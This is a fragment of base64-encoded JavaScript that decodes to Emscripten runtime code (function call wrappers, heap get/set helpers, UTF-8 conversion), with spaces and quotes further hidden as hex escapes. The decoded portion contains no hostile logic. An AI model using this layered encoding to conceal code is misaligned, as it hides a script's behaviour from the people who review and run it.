S8ocXVhbnR1bT9xdWFudHVtOjE2KSkqKHF1YW50dW0/cXVhbnR1bToxNik7cmV0dXJuXHgyMHJldH0pLG1ha2VCaWdJbnQ6KGZ1bmN0aW9uKGxvdyxoaWdoLHVuc2lnbmVkKXt2YXJceDIwcmV0PXVuc2lnbmVkPysobG93Pj4+MCkrXHgyMCsoaGlnaD4+PjApKjQyOTQ5NjcyOTY6Kyhsb3c+Pj4wKStceDIwKyhoaWdofDApKjQyOTQ5NjcyOTY7cmV0dXJuXHgyMHJldH0pLEdMT0JBTF9CQVNFOjEwMjQsUVVBTlRVTV9TSVpFOjQsX19kdW1teV9fOjB9O01vZHVsZVtceDIyUnVudGltZVx4MjJdPVJ1bnRpbWU7dmFyXHgyMEFCT1JUPTA7dmFyXHgyMEVYSVRTVEFUVVM9MDtmdW5jdGlvblx4MjBhc3NlcnQoY29uZGl0aW9uLHRleHQpe2lmKCFjb25kaXRpb24pe2Fib3J0KFx4MjJBc3NlcnRpb25ceDIwZmFpbGVkOlx4MjBceDIyK3RleHQpfX1mdW5jdGlvblx4MjBnZXRDRnVuYyhpZGVudCl7dmFyXHgyMGZ1bmM9TW9kdWxlW1x4MjJfXHgyMitpZGVudF07aWYoIWZ1bmMpe3RyeXtmdW5jPWV2YWwoXHgyMl9ceDIyK2lkZW50KX1jYXRjaChlKXt9fWFzc2VydChmdW5jLFx4MjJDYW5ub3RceDIwY2FsbFx4MjB1bmtub3duXHgyMGZ1bmN0aW9uXHgyMFx4MjIraWRlbnQrXHgyMlx4MjAocGVyaGFwc1x4MjBMTFZNXHgyMG9wdGltaXphdGlvbnNceDIwb3JceDIwY2xvc3VyZVx4MjByZW1vdmVkXHgyMGl0PylceDIyKTtyZXR1cm5ceDIwZnVuY312YXJceDIwY3dyYXAsY2NhbGw7KChmdW5jdGlvbigpe3Zhclx4MjBKU2Z1bmNzPXtceDIyc3RhY2tTYXZlXHgyMjooZnVuY3Rpb24oKXtSdW50aW1lLnN0YWNrU2F2ZSgpfSksXHgyMnN0YWNrUmVzdG9yZVx4MjI6KGZ1bmN0aW9uKCl7UnVudGltZS5zdGFja1Jlc3RvcmUoKX0pLFx4MjJhcnJheVRvQ1x4MjI6KGZ1bmN0aW9uKGFycil7dmFyXHgyMHJldD1SdW50aW1lLnN0YWNrQWxsb2MoYXJyLmxlbmd0aCk7d3JpdGVBcnJheVRvTWVtb3J5KGFycixyZXQpO3JldHVyblx4MjByZXR9KSxceDIyc3RyaW5nVG9DXHgyMjooZnVuY3Rpb24oc3RyKXt2YXJceDIwcmV0PTA7aWYoc3RyIT09bnVsbCYmc3RyIT09dW5kZWZpbmVkJiZzdHIhPT0wKXt2YXJceDIwbGVuPShzdHIubGVuZ3RoPDwyKSsxO3JldD1SdW50aW1lLnN0YWNrQWxsb2MobGVuKTtzdHJpbmdUb1VURjgoc3RyLHJldCxsZW4pfXJldHVyblx4MjByZXR9KX07dmFyXHgyMHRvQz17XHgyMnN0cmluZ1x4MjI6SlNmdW5jc1tceDIyc3RyaW5nVG9DXHgyMl0sXHgyMmFycmF5XHgyMjpKU2Z1bmNzW1x4MjJhcnJheVRvQ1x4MjJdfTtjY2FsbD1mdW5jdGlvblx4MjBjY2FsbEZ1bmMoaWRlbnQscmV0dXJuVHlwZSxhcmdUeXBlcyxhcmdzLG9wdHMpe3Zhclx4MjBmdW5jPWdldENGdW5jKGlkZW50KTt2YXJceDIwY0FyZ3M9W107dmFyXHgyMHN0YWNrPTA7aWYoYXJncyl7Zm9yKHZhclx4MjBpPTA7aTxhcmdzLmxlbmd0aDtpKyspe3Zhclx4MjBjb252ZXJ0ZXI9dG9DW2FyZ1R5cGVzW2ldXTtpZihjb252ZXJ0ZXIpe2lmKHN0YWNrPT09MClzdGFjaz1SdW50aW1lLnN0YWNrU2F2ZSgpO2NBcmdzW2ldPWNvbnZlcnRlcihhcmdzW2ldKX1lbHNle2NBcmdzW2ldPWFyZ3NbaV19fX12YXJceDIwcmV0PWZ1bmMuYXBwbHkobnVsbCxjQXJncyk7aWYocmV0dXJuVHlwZT09PVx4MjJzdHJpbmdceDIyKXJldD1Qb2ludGVyX3N0cmluZ2lmeShyZXQpO2lmKHN0YWNrIT09MCl7aWYob3B0cyYmb3B0cy5hc3luYyl7RW10ZXJwcmV0ZXJBc3luYy5hc3luY0ZpbmFsaXplcnMucHVzaCgoZnVuY3Rpb24oKXtSdW50aW1lLnN0YWNrUmVzdG9yZShzdGFjayl9KSk7cmV0dXJufVJ1bnRpbWUuc3RhY2tSZXN0b3JlKHN0YWNrKX1yZXR1cm5ceDIwcmV0fTt2YXJceDIwc291cmNlUmVnZXg9L15mdW5jdGlvblx4NWNzKlthLXpBLVokXzAtOV0qXHg1Y3MqXHg1YygoW14pXSopXHg1YylceDVjcyp7XHg1Y3MqKFteKl0qPylbXHg1Y3M7XSooPzpyZXR1cm5ceDVjcyooLio/KVs7XHg1Y3NdKik/fSQvO2Z1bmN0aW9uXHgyMHBhcnNlSlNGdW5jKGpzZnVuYyl7dmFyXHgyMHBhcnNlZD1qc2Z1bmMudG9TdHJpbmcoKS5tYXRjaChzb3VyY2VSZWdleCkuc2xpY2UoMSk7cmV0dXJue2FyZ3VtZW50czpwYXJzZWRbMF0sYm9keTpwYXJzZWRbMV0scmV0dXJuVmFsdWU6cGFyc2VkWzJdfX12YXJceDIwSlNzb3VyY2U9bnVsbDtmdW5jdGlvblx4MjBlbnN1cmVKU3NvdXJjZSgpe2lmKCFKU3NvdXJjZSl7SlNzb3VyY2U9e307Zm9yKHZhclx4MjBmdW5ceDIwaW5ceDIwSlNmdW5jcyl7aWYoSlNmdW5jcy5oYXNPd25Qcm9wZXJ0eShmdW4pKXtKU3NvdXJjZVtmdW5dPXBhcnNlSlNGdW5jKEpTZnVuY3NbZnVuXSl9fX19Y3dyYXA9ZnVuY3Rpb25ceDIwY3dyYXAoaWRlbnQscmV0dXJuVHlwZSxhcmdUeXBlcyl7YXJnVHlwZXM9YXJnVHlwZXN8fFtdO3Zhclx4MjBjZnVuYz1nZXRDRnVuYyhpZGVudCk7dmFyXHgyMG51bWVyaWNBcmdzPWFyZ1R5cGVzLmV2ZXJ5KChmdW5jdGlvbih0eXBlKXtyZXR1cm5ceDIwdHlwZT09PVx4MjJudW1iZXJceDIyfSkpO3Zhclx4MjBudW1lcmljUmV0PXJldHVyblR5cGUhPT1ceDIyc3RyaW5nXHgyMjtpZihudW1lcmljUmV0JiZudW1lcmljQXJncyl7cmV0dXJuXHgyMGNmdW5jfXZhclx4MjBhcmdOYW1lcz1hcmdUeXBlcy5tYXAoKGZ1bmN0aW9uKHgsaSl7cmV0dXJuXHgyMiRceDIyK2l9KSk7dmFyXHgyMGZ1bmNzdHI9XHgyMihmdW5jdGlvbihceDIyK2FyZ05hbWVzLmpvaW4oXHgyMixceDIyKStceDIyKVx4MjB7XHgyMjt2YXJceDIwbmFyZ3M9YXJnVHlwZXMubGVuZ3RoO2lmKCFudW1lcmljQXJncyl7ZW5zdXJlSlNzb3VyY2UoKTtmdW5jc3RyKz1ceDIydmFyXHgyMHN0YWNrXHgyMD1ceDIwXHgyMitKU3NvdXJjZVtceDIyc3RhY2tTYXZlXHgyMl0uYm9keStceDIyO1x4MjI7Zm9yKHZhclx4MjBpPTA7aTxuYXJncztpKyspe3Zhclx4MjBhcmc9YXJnTmFtZXNbaV0sdHlwZT1hcmdUeXBlc1tpXTtpZih0eXBlPT09XHgyMm51bWJlclx4MjIpY29udGludWU7dmFyXHgyMGNvbnZlcnRDb2RlPUpTc291cmNlW3R5cGUrXHgyMlRvQ1x4MjJdO2Z1bmNzdHIrPVx4MjJ2YXJceDIwXHgyMitjb252ZXJ0Q29kZS5hcmd1bWVudHMrXHgyMlx4MjA9XHgyMFx4MjIrYXJnK1x4MjI7XHgyMjtmdW5jc3RyKz1jb252ZXJ0Q29kZS5ib2R5K1x4MjI7XHgyMjtmdW5jc3RyKz1hcmcrXHgyMj0oXHgyMitjb252ZXJ0Q29kZS5yZXR1cm5WYWx1ZStceDIyKTtceDIyfX12YXJceDIwY2Z1bmNuYW1lPXBhcnNlSlNGdW5jKChmdW5jdGlvbigpe3JldHVyblx4MjBjZnVuY30pKS5yZXR1cm5WYWx1ZTtmdW5jc3RyKz1ceDIydmFyXHgyMHJldFx4MjA9XHgyMFx4MjIrY2Z1bmNuYW1lK1x4MjIoXHgyMithcmdOYW1lcy5qb2luKFx4MjIsXHgyMikrXHgyMik7XHgyMjtpZighbnVtZXJpY1JldCl7dmFyXHgyMHN0cmdmeT1wYXJzZUpTRnVuYygoZnVuY3Rpb24oKXtyZXR1cm5ceDIwUG9pbnRlcl9zdHJpbmdpZnl9KSkucmV0dXJuVmFsdWU7ZnVuY3N0cis9XHgyMnJldFx4MjA9XHgyMFx4MjIrc3RyZ2Z5K1x4MjIocmV0KTtceDIyfWlmKCFudW1lcmljQXJncyl7ZW5zdXJlSlNzb3VyY2UoKTtmdW5jc3RyKz1KU3NvdXJjZVtceDIyc3RhY2tSZXN0b3JlXHgyMl0uYm9keS5yZXBsYWNlKFx4MjIoKVx4MjIsXHgyMihzdGFjaylceDIyKStceDIyO1x4MjJ9ZnVuY3N0cis9XHgyMnJldHVyblx4MjByZXR9KVx4MjI7cmV0dXJuXHgyMGV2YWwoZnVuY3N0cil9fSkpKCk7TW9kdWxlW1x4MjJjY2FsbFx4MjJdPWNjYWxsO01vZHVsZVtceDIyY3dyYXBceDIyXT1jd3JhcDtmdW5jdGlvblx4MjBzZXRWYWx1ZShwdHIsdmFsdWUsdHlwZSxub1NhZmUpe3R5cGU9dHlwZXx8XHgyMmk4XHgyMjtpZih0eXBlLmNoYXJBdCh0eXBlLmxlbmd0aC0xKT09PVx4MjIqXHgyMil0eXBlPVx4MjJpMzJceDIyO3N3aXRjaCh0eXBlKXtjYXNlXHgyMmkxXHgyMjpIRUFQOFtwdHI+PjBdPXZhbHVlO2JyZWFrO2Nhc2VceDIyaThceDIyOkhFQVA4W3B0cj4+MF09dmFsdWU7YnJlYWs7Y2FzZVx4MjJpMTZceDIyOkhFQVAxNltwdHI+PjFdPXZhbHVlO2JyZWFrO2Nhc2VceDIyaTMyXHgyMjpIRUFQMzJbcHRyPj4yXT12YWx1ZTticmVhaztjYXNlXHgyMmk2NFx4MjI6dGVtcEk2ND1bdmFsdWU+Pj4wLCh0ZW1wRG91YmxlPXZhbHVlLCtNYXRoX2Ficyh0ZW1wRG91YmxlKT49MT90ZW1wRG91YmxlPjA/KE1hdGhfbWluKCtNYXRoX2Zsb29yKHRlbXBEb3VibGUvNDI5NDk2NzI5NiksNDI5NDk2NzI5NSl8MCk+Pj4wOn5+K01hdGhfY2VpbCgodGVtcERvdWJsZS1ceDIwKyh+fnRlbXBEb3VibGU+Pj4wKSkvNDI5NDk2NzI5Nik+Pj4wOjApXSxIRUFQMzJbcHRyPj4yXT10ZW1wSTY0WzBdLEhFQVAzMltwdHIrND4+Ml09dGVtcEk2NFsxXTticmVhaztjYXNlXHgyMmZsb2F0XHgyMjpIRUFQRjMyW3B0cj4+Ml09dmFsdWU7YnJlYWs7Y2FzZVx4MjJkb3VibGVceDIyOkhFQVBGNjRbcHRyPj4zXT12YWx1ZTticmVhaztkZWZhdWx0OmFib3J0KFx4MjJpbnZhbGlkXHgyMHR5cGVceDIwZm9yXHgyMHNldFZhbHVlOlx4MjBceDIyK3R5cGUpfX1Nb2R1bGVbXHgyMnNldFZhbHVlXHgyMl09c2V0VmFsdWU7ZnVuY3Rpb25ceDIwZ2V0VmFsdWUocHRyLHR5cGUsbm9TYWZlKXt0eXBlPXR5cGV8fFx4MjJpOFx4MjI7aWYodHlwZS5jaGFyQXQodHlwZS5sZW5ndGgtMSk9PT1ceDIyKlx4MjIpdHlwZT1ceDIyaTMyXHgyMjtzd2l0Y2godHlwZSl7Y2FzZVx4MjJpMVx4MjI6cmV0dXJuXHgyMEhFQVA4W3B0cj4+MF07Y2FzZVx4MjJpOFx4MjI6cmV0dXJuXHgyMEhFQVA4W3B0cj4+MF07Y2FzZVx4MjJpMTZceDIyOnJldHVyblx4MjBIRUFQMTZbcHRyPj4xXTtjYXNlXHgyMmkzMlx4MjI6cmV0dXJuXHgyMEhFQVAzMltwdHI+PjJdO2Nhc2VceDIyaTY0XHgyMjpyZXR1cm5ceDIwSEVBUDMyW3B0cj4+Ml07Y2FzZVx4MjJmbG9hdFx4MjI6cmV0dXJuXHgyMEhFQVBGMzJbcHRyPj4yXTtjYXNlXHgyMmRvdWJsZVx4MjI6cmV0dXJuXHgyMEhFQVBGNjRbcHRyPj4zXTtkZWZhdWx0OmFib3J0KFx4MjJpbnZhbGlkXHgyMHR5cGVceDIwZm9yXHgyMHNldFZhbHVlOlx4MjBceDIyK3R5cGUpfXJldHVyblx4MjBudWxsfU1vZHVsZVtceDIyZ2V0VmFsdWVceDIyXT1nZXRWYWx1ZTt2YXJceDIwQUxMT0NfTk9STUFMPTA7dmFyXHgyMEFMTE9DX1NUQUNLPTE7dmFyXHgyMEFMTE9DX1NUQVRJQz0yO3Zhclx4MjBBTExPQ19EWU5BTUlDPTM7dmFyXHgyMEFMTE9DX05PTkU9NDtNb2R1bGVbXHgyMkFMTE9DX05PUk1BTFx4MjJdPUFMTE9DX05PUk1BTDtNb2R1bGVbXHgyMkFMTE9DX1NUQUNLXHgyMl09QUxMT0NfU1RBQ0s7TW9kdWxlW1x4MjJBTExPQ19TVEFUSUNceDIyXT1BTExPQ19TVEFUSUM7TW9kdWxlW1x4MjJBTExPQ19EWU5BTUlDXHgyMl09QUxMT0NfRFlOQU1JQztNb2R1bGVbXHgyMkFMTE9DX05PTkVceDIyXT1BTExPQ19OT05FO2Z1bmN0aW9uXHgyMGFsbG9jYXRlKHNsYWIsdHlwZXMsYWxsb2NhdG9yLHB0cil7dmFyXHgyMHplcm9pbml0LHNpemU7aWYodHlwZW9mXHgyMHNsYWI9PT1ceDIybnVtYmVyXHgyMil7emVyb2luaXQ9dHJ1ZTtzaXplPXNsYWJ9ZWxzZXt6ZXJvaW5pdD1mYWxzZTtzaXplPXNsYWIubGVuZ3RofXZhclx4MjBzaW5nbGVUeXBlPXR5cGVvZlx4MjB0eXBlcz09PVx4MjJzdHJpbmdceDIyP3R5cGVzOm51bGw7dmFyXHgyMHJldDtpZihhbGxvY2F0b3I9PUFMTE9DX05PTkUpe3JldD1wdHJ9ZWxzZXtyZXQ9W3R5cGVvZlx4MjBfbWFsbG9jPT09XHgyMmZ1bmN0aW9uXHgyMj9fbWFsbG9jOlJ1bnRpbWUuc3RhdGljQWxsb2MsUnVudGltZS5zdGFja0FsbG9jLFJ1bnRpbWUuc3RhdGljQWxsb2MsUnVudGltZS5keW5hbWljQWxsb2NdW2FsbG9jYXRvcj09PXVuZGVmaW5lZD9BTExPQ19TVEFUSUM6YWxsb2NhdG9yXShNYXRoLm1heChzaXplLHNpbmdsZVR5cGU/MTp0eXBlcy5sZW5ndGgpKX1pZih6ZXJvaW5pdCl7dmFyXHgyMHB0cj1yZXQsc3RvcDthc3NlcnQoKHJldCYzKT09MCk7c3RvcD1yZXQrKHNpemUmfjMpO2Zvcig7cHRyPHN0b3A7cHRyKz00KXtIRUFQMzJbcHRyPj4yXT0wfXN0b3A9cmV0K3NpemU7d2hpbGUocHRyPHN0b3Ape0hFQVA4W3B0cisrPj4wXT0wfXJldHVyblx4MjByZXR9aWYoc2luZ2xlVHlwZT09PVx4MjJpOFx4MjIpe2lmKHNsYWIuc3ViYXJyYXl8fHNsYWIuc2xpY2Upe0hFQVBVOC5zZXQoc2xhYixyZXQpfWVsc2V7SEVBUFU4LnNldChuZXdceDIwVWludDhBcnJheShzbGFiKSxyZXQpfXJldHVyblx4MjByZXR9dmFyXHgyMGk9MCx0eXBlLHR5cGVTaXplLHByZXZpb3VzVHlwZTt3aGlsZShpPHNpemUpe3Zhclx4MjBjdXJyPXNsYWJbaV07aWYodHlwZW9mXHgyMGN1cnI9PT1ceDIyZnVuY3Rpb25ceDIyKXtjdXJyPVJ1bnRpbWUuZ2V0RnVuY3Rpb25JbmRleChjdXJyKX10eXBlPXNpbmdsZVR5cGV8fHR5cGVzW2ldO2lmKHR5cGU9PT0wKXtpKys7Y29udGludWV9aWYodHlwZT09XHgyMmk2NFx4MjIpdHlwZT1ceDIyaTMyXHgyMjtzZXRWYWx1ZShyZXQraSxjdXJyLHR5cGUpO2lmKHByZXZpb3VzVHlwZSE9PXR5cGUpe3R5cGVTaXplPVJ1bnRpbWUuZ2V0TmF0aXZlVHlwZVNpemUodHlwZSk7cHJldmlvdXNUeXBlPXR5cGV9aSs9dHlwZVNpemV9cmV0dXJuXHgyMHJldH1Nb2R1bGVbXHgyMmFsbG9jYXRlXHgyMl09YWxsb2NhdGU7ZnVuY3Rpb25ceDIwZ2V0TWVtb3J5KHNpemUpe2lmKCFzdGF0aWNTZWFsZWQpcmV0dXJuXHgyMFJ1bnRpbWUuc3RhdGljQWxsb2Moc2l6ZSk7aWYoIXJ1bnRpbWVJbml0aWFsaXplZClyZXR1cm5ceDIwUnVudGltZS5keW5hbWljQWxsb2Moc2l6ZSk7cmV0dXJuXHgyMF9tYWxsb2Moc2l6ZSl9TW9kdWxlW1x4MjJnZXRNZW1vcnlceDIyXT1nZXRNZW1vcnk7ZnVuY3Rpb25ceDIwUG9pbnRlcl9zdHJpbmdpZnkocHRyLGxlbmd0aCl7aWYobGVuZ3RoPT09MHx8IXB0cilyZXR1cm5ceDIyXHgyMjt2YXJceDIwaGFzVXRmPTA7dmFyXHgyMHQ7dmFyXHgyMGk9MDt3aGlsZSgxKXt0PUhFQVBVOFtwdHIraT4+MF07aGFzVXRmfD10O2lmKHQ9PTAmJiFsZW5ndGgpYnJlYWs7aSsrO2lmKGxlbmd0aCYmaT09bGVuZ3RoKWJyZWFrfWlmKCFsZW5ndGgpbGVuZ3RoPWk7dmFyXHgyMHJldD1ceDIyXHgyMjtpZihoYXNVdGY8MTI4KXt2YXJceDIwTUFYX0NIVU5LPTEwMjQ7dmFyXHgyMGN1cnI7d2hpbGUobGVuZ3RoPjApe2N1cnI9U3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShTdHJpbmcsSEVBUFU4LnN1YmFycmF5KHB0cixwdHIrTWF0aC5taW4obGVuZ3RoLE1BWF9DSFVOSykpKTtyZXQ9cmV0P3JldCtjdXJyOmN1cnI7cHRyKz1NQVhfQ0hVTks7bGVuZ3RoLT1NQVhfQ0hVTkt9cmV0dXJuXHgyMHJldH1yZXR1cm5ceDIwTW9kdWxlW1x4MjJVVEY4VG9TdHJpbmdceDIyXShwdHIpfU1vZHVsZVtceDIyUG9pbnRlcl9zdHJpbmdpZnlceDIyXT1Qb2ludGVyX3N0cmluZ2lmeTtmdW5jdGlvblx4MjBBc2NpaVRvU3RyaW5nKHB0cil7dmFyXHgyMHN0cj1ceDIyXHgyMjt3aGlsZSgxKXt2YXJceDIwY2g9SEVBUDhbcHRyKys+PjBdO2lmKCFjaClyZXR1cm5ceDIwc3RyO3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZShjaCl9fU1vZHVsZVtceDIyQXNjaWlUb1N0cmluZ1x4MjJdPUFzY2lpVG9TdHJpbmc7ZnVuY3Rpb25ceDIwc3RyaW5nVG9Bc2NpaShzdHIsb3V0UHRyKXtyZXR1cm5ceDIwd3JpdGVBc2NpaVRvTWVtb3J5KHN0cixvdXRQdHIsZmFsc2UpfU1vZHVsZVtceDIyc3RyaW5nVG9Bc2NpaVx4MjJdPXN0cmluZ1RvQXNjaWk7dmFyXHgyMFVURjhEZWNvZGVyPXR5cGVvZlx4MjBUZXh0RGVjb2RlciE9PVx4MjJ1bmRlZmluZWRceDIyP25ld1x4MjBUZXh0RGVjb2RlcihceDIydXRmOFx4MjIpOnVuZGVmaW5lZDtmdW5jdGlvblx4MjBVVEY4QXJyYXlUb1N0cmluZyh1OEFycmF5LGlkeCl7dmFyXHgyMGVuZFB0cj1pZHg7d2hpbGUodThBcnJheVtlbmRQdHJdKSsrZW5kUHRyO2lmKGVuZFB0ci1pZHg+MTYmJnU4QXJyYXkuc3ViYXJyYXkmJlVURjhEZWNvZGVyKXtyZXR1cm5ceDIwVVRGOERlY29kZXIuZGVjb2RlKHU4QXJyYXkuc3ViYXJyYXkoaWR4LGVuZFB0cikpfWVsc2V7dmFyXHgyMHUwLHUxLHUyLHUzLHU0LHU1O3Zhclx4MjBzdHI9XHgyMlx4MjI7d2hpbGUoMSl7dTA9dThBcnJheVtpZHgrK107aWYoIXUwKXJldHVyblx4MjBzdHI7aWYoISh1MCYxMjgpKXtzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUodTApO2NvbnRpbnVlfXUxPXU4QXJyYXlbaWR4KytdJjYzO2lmKCh1MCYyMjQpPT0xOTIpe3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSgodTAmMzEpPDw2fHUxKTtjb250aW51ZX11Mj11OEFycmF5W2lkeCsrXSY2MztpZigodTAmMjQwKT09MjI0KXt1MD0odTAmMTUpPDwxMnx1MTw8Nnx1Mn1lbHNle3UzPXU4QXJyYXlbaWR4KytdJjYzO2lmKCh1MCYyNDgpPT0yNDApe3UwPSh1MCY3KTw8MTh8dTE8PDEyfHUyPDw2fHUzfWVsc2V7dTQ9dThBcnJheVtpZHgrK10mNjM7aWYoKHUwJjI1Mik9PTI0OCl7dTA9KHUwJjMpPDwyNHx1MTw8MTh8dTI8PDEyfHUzPDw2fHU0fWVsc2V7dTU9dThBcnJheVtpZHgrK10mNjM7dTA9KHUwJjEpPDwzMHx1MTw8MjR8dTI8PDE4fHUzPDwxMnx1NDw8Nnx1NX19fWlmKHUwPDY1NTM2KXtzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUodTApfWVsc2V7dmFyXHgyMGNoPXUwLTY1NTM2O3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSg1NTI5NnxjaD4+MTAsNTYzMjB8Y2gmMTAyMyl9fX19TW9kdWxlW1x4MjJVVEY4QXJyYXlUb1N0cmluZ1x4MjJdPVVURjhBcnJheVRvU3RyaW5nO2Z1bmN0aW9uXHgyMFVURjhUb1N0cmluZyhwdHIpe3JldHVyblx4MjBVVEY4QXJyYXlUb1N0cmluZyhIRUFQVTgscHRyKX1Nb2R1bGVbXHgyMlVURjhUb1N0cmluZ1x4MjJdPVVURjhUb1N0cmluZztmdW5jdGlvblx4MjBzdHJpbmdUb1VURjhBcnJheShzdHIsb3V0VThBcnJheSxvdXRJZHgsbWF4Qnl0ZXNUb1dyaXRlKXtpZighKG1heEJ5dGVzVG9Xcml0ZT4wKSlyZXR1cm5ceDIwMDt2YXJceDIwc3RhcnRJZHg9b3V0SWR4O3Zhclx4MjBlbmRJZHg9b3V0SWR4K21heEJ5dGVzVG9Xcml0ZS0xO2Zvcih2YXJceDIwaT0wO2k8c3RyLmxlbmd0aDsrK2kpe3Zhclx4MjB1PXN0ci5jaGFyQ29kZUF0KGkpO2lmKHU+PTU1Mjk2JiZ1PD01NzM0Myl1PTY1NTM2KygodSYxMDIzKTw8MTApfHN0ci5jaGFyQ29kZUF0KCsraSkmMTAyMztpZih1PD0xMjcpe2lmKG91dElkeD49ZW5kSWR4KWJyZWFrO291dFU4QXJyYXlbb3V0SWR4KytdPXV9ZWxzZVx4MjBpZih1PD0yMDQ3KXtpZihvdXRJZHgrMT49ZW5kSWR4KWJyZWFrO291dFU4QXJyYXlbb3V0SWR4KytdPTE5Mnx1Pj42O291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1JjYzfWVsc2VceDIwaWYodTw9NjU1MzUpe2lmKG91dElkeCsyPj1lbmRJZHgpYnJlYWs7b3V0VThBcnJheVtvdXRJZHgrK109MjI0fHU+PjEyO291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1Pj42JjYzO291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1JjYzfWVsc2VceDIwaWYodTw9MjA5NzE1MSl7aWYob3V0SWR4KzM+PWVuZElkeClicmVhaztvdXRVOEFycmF5W291dElkeCsrXT0yNDB8dT4+MTg7b3V0VThBcnJheVtvdXRJZHgrK109MTI4fHU+PjEyJjYzO291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1Pj42JjYzO291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1JjYzfWVsc2VceDIwaWYodTw9NjcxMDg4NjMpe2lmKG91dElkeCs0Pj1lbmRJZHgpYnJlYWs7b3V0VThBcnJheVtvdXRJZHgrK109MjQ4fHU+PjI0O291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1Pj4xOCY2MztvdXRVOEFycmF5W291dElkeCsrXT0xMjh8dT4+MTImNjM7b3V0VThBcnJheVtvdXRJZHgrK109MTI4fHU+PjYmNjM7b3V0VThBcnJheVtvdXRJZHgrK109MTI4fHUmNjN9ZWxzZXtpZihvdXRJZHgrNT49ZW5kSWR4KWJyZWFrO291dFU4QXJyYXlbb3V0SWR4KytdPTI1Mnx1Pj4zMDtvdXRVOEFycmF5W291dElkeCsrXT0xMjh8dT4+MjQmNjM7b3V0VThBcnJheVtvdXRJZHgrK109MTI4fHU+PjE4JjYzO291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1Pj4xMiY2MztvdXRVOEFycmF5W291dElkeCsrXT0xMjh8dT4+NiY2MztvdXRVOEFycmF5W291dElkeCsrXT0xMjh8dSY2M319b3V0VThBcnJheVtvdXRJZHhdPTA7cmV0dXJuXHgyMG91dElkeC1zdGFydElkeH1Nb2R1bGVbXHgyMnN0cmluZ1RvVVRGOEFycmF5XHgyMl09c3RyaW5nVG9VVEY4QXJyYXk7ZnVuY3Rpb25ceDIwc3RyaW5nVG9VVEY4KHN0cixvdXRQdHIsbWF4Qnl0ZXNUb1dyaXRlKXtyZXR1cm5ceDIwc3RyaW5nVG9VVEY4QXJyYXkoc3RyLEhFQVBVOCxvdXRQdHIsbWF4Qnl0ZXNUb1dyaXRlKX1Nb2R1bGVbXHgyMnN0cmluZ1RvVVRGOFx4MjJdPXN0cmluZ1RvVVRGODtmdW5jdGlvblx4MjBsZW5ndGhCeXRlc1VURjgoc3RyKXt2YXJceDIwbGVuPTA7Zm9yKHZhclx4MjBpPTA7aTxzdHIubGVuZ3RoOysraSl7dmFyXHgyMHU9c3RyLmNoYXJDb2RlQXQoaSk7aWYodT49NTUyOTYmJnU8PTU3MzQzKXU9NjU1MzYrKCh1JjEwMjMpPDwxMCl8c3RyLmNoYXJDb2RlQXQoKytpKSYxMDIzO2lmKHU8PTEyNyl7KytsZW59ZWxzZVx4MjBpZih1PD0yMDQ3KXtsZW4rPTJ9ZWxzZVx4MjBpZih1PD02NTUzNSl7bGVuKz0zfWVsc2VceDIwaWYodTw9MjA5NzE1MSl7bGVuKz00fWVsc2VceDIwaWYodTw9NjcxMDg4NjMpe2xlbis9NX1lbHNle2xlbis9Nn19cmV0dXJuXHgyMGxlbn1Nb2R1bGVbXHgyMmxlbmd0aEJ5dGVzVVRGOFx4MjJdPWxlbmd0aEJ5dGVzVVRGODt2YXJceDIwVVRGMTZEZWNvZGVyPXR5cGVvZlx4MjBUZXh0RGVjb2RlciE9PVx4MjJ1bmRlZmluZWRceDIyP25ld1x4MjBUZXh0RGVjb2RlcihceDIydXRmLTE2bGVceDIyKTp1bmRlZmluZWQ7ZnVuY3Rpb25ceDIwZGVtYW5nbGUoZnVuYyl7dmFyXHgyMF9fY3hhX2RlbWFuZ2xlX2Z1bmM9TW9kdWxlW1x4MjJfX19jeGFfZGVtYW5nbGVceDIyXXx8TW9kdWxlW1x4MjJfX2N4YV9kZW1hbmdsZVx4MjJdO2lmKF9fY3hhX2RlbWFuZ2xlX2Z1bmMpe3RyeXt2YXJceDIwcz1mdW5jLnN1YnN0cigxKTt2YXJceDIwbGVuPWxlbmd0aEJ5dGVzVVRGOChzKSsxO3Zhclx4MjBidWY9X21hbGxvYyhsZW4pO3N0cmluZ1RvVVRGOChzLGJ1ZixsZW4pO3Zhclx4MjBzdGF0dXM9X21hbGxvYyg0KTt2YXJceDIwcmV0PV9fY3hhX2RlbWFuZ2xlX2Z1bmMoYnVmLDAsMCxzdGF0dXMpO2lmKGdldFZhbHVlKHN0YXR1cyxceDIyaTMyXHgyMik9PT0wJiZyZXQpe3JldHVyblx4MjBQb2ludGVyX3N0cmluZ2lmeShyZXQpfX1jYXRjaChlKXt9ZmluYWxseXtpZihidWYpX2ZyZWUoYnVmKTtpZihzdGF0dXMpX2ZyZWUoc3RhdHVzKTtpZihyZXQpX2ZyZWUocmV0KX1yZXR1cm5ceDIwZnVuY31SdW50aW1lLndhcm5PbmNlKFx4MjJ3YXJuaW5nOlx4MjBidWlsZFx4MjB3aXRoXHgyMC1zXHgyMERFTUFOR0xFX1NVUFBPUlQ9MVx4MjB0b1x4MjBsaW5rXHgyMGluXHgyMGxpYmN4eGFiaVx4MjBkZW1hbmdsaW5nXHgyMik7cmV0dXJuXHgyMGZ1bmN9ZnVuY3Rpb25ceDIwZGVtYW5nbGVBbGwodGV4dCl7dmFyXHgyMHJlZ2V4PS9fX1pbXHg1Y3dceDVjZF9dKy9nO3JldHVyblx4MjB0ZXh0LnJlcGxhY2UocmVnZXgsKGZ1bmN0aW9uKHgpe3Zhclx4MjB5PWRlbWFuZ2xlKHgpO3JldHVyblx4MjB4PT09eT94OngrXHgyMlx4MjBbXHgyMit5K1x4MjJdXHgyMn0pKX1mdW5jdGlvblx4MjBqc1N0YWNrVHJhY2UoKXt2YXJceDIwZXJyPW5ld1x4MjBFcnJvcjtpZighZXJyLnN0YWNrKXt0cnl7dGhyb3dceDIwbmV3XHgyMEVycm9yKDApfWNhdGNoKGUpe2Vycj1lfWlmK